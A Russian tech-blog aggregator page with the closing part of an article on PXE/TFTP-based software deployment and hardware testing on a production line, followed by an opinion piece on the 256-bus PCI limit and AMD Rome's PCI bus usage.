service tftp{   protocol     = udp   port         = 69   socket_type  = dgram   wait         = yes   user         = user   server       = /usr/sbin/in.tftpd   server_args  = /var/lib/tftpboot   disable      = no}


Получить pxelinux для Preseed 5 и 6 можно здесь и далее расположить его в директории доступной по tftp (в нашем случае /var/lib/tftpboot).
Согласно этим конфигурациям, целевое устройство загрузит pxelinux.0 и далее развернет Provision agent для установки.
Пример настройки для pxelinux
DEFAULT linuxLABEL linux    KERNEL boot/vmlinuz    APPEND initrd=boot/initrd.gz ramdisk_size=10800 root=/dev/rd/0 rw auto console-setup/ask_detect=false console-setup/layout=USA console-setup/variant=USA keyboard-configuration/layoutcode=us localechooser/translation/warn-light=true localechooser/translation/warn-severe=true locale=en_US    IPAPPEND 2


Здесь ядру Linux можно передать дополнительные параметры, указав ссылки на локальные ресурсы и конфигурацию для preseed.

Наконец, как мы это применили


Итак, для решения исходной задачи нам потребуется модифицировать provision agent, ведь перед развертыванием ПО должно быть произведено тестирование аппаратных модулей. Тестирование, в свою очередь, не имеет фиксированного сценария и может варьироваться.
В нашем случае provision agent представляет из себя самостоятельно собранный live-образ со специализированным ПО для тестирования и функцией установки GM Soft Kit в память устройства. Сценарий тестирования текущей конфигурации берется со специального http-сервера.
Используя описанную инфраструктуру, мы можем выстроить производственный процесс, как показано на схеме:
Схема процессов производства устройств

В эту схему хорошо встраивается процесс обновление на производственной линии ПО для установки (continuous delivery), но это отдельная тема.

Подводные камни


Preseed плохо себя показал на масштабировании: при многократных установках одна и та же конфигурация может вести себя по-разному и зависать в неожиданные моменты. Как следствие нам пришлось отказаться от установки дистрибутива в классическом виде, собирать прошивку заранее и сделать свой provision agent, который теперь заливает образ в память устройства по сети.

На первой итерации мы пробовали размещать ядро Linux и initrd на простом http-сервере и сохраняли ссылки на них в pxelinux.cfg при такой конфигурации загрузчик периодически не загружал ядро и намертво зависал. Помогло размещении файлов на том же tftp-сервере, где лежит сам pxelinux.

Вывод


Конечно, саму задачу по развертыванию ПО на большом количестве устройств за один раз не решить. Мы с командой до сих пор в процессе разработки финального пайплайна доставки результатов сборки программных проектов на производственную линию. Мы прекрасно понимаем, что есть еще потолок пропускной способности, поэтому дополнительно планируем оптимизировать сам процесс распространения ПО по сети.

Дополнительные материалы


  1. Как один из сценариев развития специальное EFI-приложение wiki.archlinux.org/index.php/Systemd-boot#Preparing_a_unified_kernel_image. Оно может выполнять функции zero image и provision agent одновременно.
  2. О том как настроить PXE-инфраструктуру и как подготовить образ описано здесь habr.com/ru/company/X5RetailGroup/blog/493124
Подробнее..

Recovery mode Страшные сказки на ночь, о PCI шине

30.10.2020 18:08:58 | Автор: admin
Всеобщая эйфория от появления на рынке новых процессоров, не дает достаточно времени кинуть взгляд, а что же там у них под капотом. Те же их стороны, которыми обычно восхищаются кликатели и кнопкодавы, вовсе не отражают реальное положение дел на железном фронте.
А тучи, тем временем, сгущались. Да, процессоры стали быстрее. Да, действительно, там стало больше ядер. И последнее, как раз, является серьезной архитектурной проблемой. По крайней мере, для наметившегося лидера гонки.
Кто сейчас помнит такой архаизм как Архитектура? Мало кто. Слово в станкостроении стало в IT, практически ругательным. А ведь когда-то, в былые времена, книга PCI System Archetecture и прочие, зачитывалась до дыр, на экране. И что же там такого страшного, в этом осколке прошлого, накарябано о PCI, что может нас ввести в глубокую задумчивость, полную вселенской грусти?
Страшная цифра 256. Хотя, на первый взгляд, и не очень страшная. Да, именно столько, и есть максимальный предел присутствия независимых PCI устройств, на PCI шине. Цифра кажется на самом деле заоблачной.
Ну кому, в здравом уме и твердой памяти, прийдет в голову иметь в компьютере больше 5-10 реальных, т.е. физических устройств? Именно исходя из этих логичных предпосылок, недавний лидер процессорной гонки, вводил ограничивающие настройки в свой чипсет, дающие возможность принудительно ограничивать волшебную цифру до 128, 64, и не поверите 32(!) PCI шин. И это была не просто блажь, т.к. давало серьезную возможность экономить
системнй кусок (первые 4Gb) памяти, до сих пор наделенный "волшебными свойствами" в отношении ОС. В том то и дело, что физических устройств было до недаванего времени не очень много.
Но, время не стоит на месте, и вот я держу в руках очередное 64 ядерное чудо враждебной техники, Rome от AMD.
И что же он хочет, нет ТРЕБУЕТ, для своего минимального функционирования? Всего то малость откусить для своих 64 ядер пространство в 80 PCI шин. Браво. Но, ведь у нас есть еще 2/3 пространства? У кого то есть, а у кого-то и нет.
Первый раз, на не бездонность PCI шины, я обратил внимание настраивая PCI расширитель, так уж получилось, что на нем висело, за гроздью из P2P мостов Pericom, 119 PCI устройств требовавших подобное же количество индивидуальных PCI шин. И это только за единственным х8 PCI расширителем. А таких х8 портов, там было 8. Вот тут, как бы невзначай, и всплывает "волшебность" первых 4Gb системной памяти, когда львиная доля из тех 119 PCI устройств, требует для своей инициализации во время обнаружения БИОСом скромные 32-64 Мб на каждого.
Хорошо что Интел не так мощно выгрызет PCI пространство. При необходимости, но повесить второю гроздь еще оставалось возможным.
А вот с Rome и единственное такое расширение лишает нас надежды хоть на какое то будущее столь увесистой грозди, в этой АМД системе. Нет, конечно, клиенту можно предложить перейти на суперкомпьютерную архитектуру, та которая будет под заказ и выльется в 10 раз дороже. Но и выше продложенная конфигурация, как вы успели заметить не для каждого их нас. И так же разрабатывается индивидуально под хотелки клиетна. Но архитектурная граница хотелок уже ощутимо близка. Не хочется в каждую вышку мобильной связи лепить суперкомьютор, исключительно из-за тридцатилетней ограниченности PCI шины. Что самое интересное, но переход на ARM совершенно не выход, поскольку на нем мы видим все тот же PCI, и все те же 30 летние ограничения.
Увы, ситуация в деталях повторяет тенденцию с памятью, стало мало? Пихай-суй больше! PCI пространство есть? Что его жалеть, от него не убудет. Увы, уже убудет. Уже, не то что в четверо или вдвое не обрежешь, чем баловался Интел. Уже и в полном обьеме, для серьезных игроков на грани. И применение транспорентных P2P мостов, увы только паллиатив, в сложившейся ситуации.

Только и остается что беречь каждый байт адрес шины. Или мечтать о том что крупные игроки созреют для создания IP6 адресов SuperPCIExpress.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru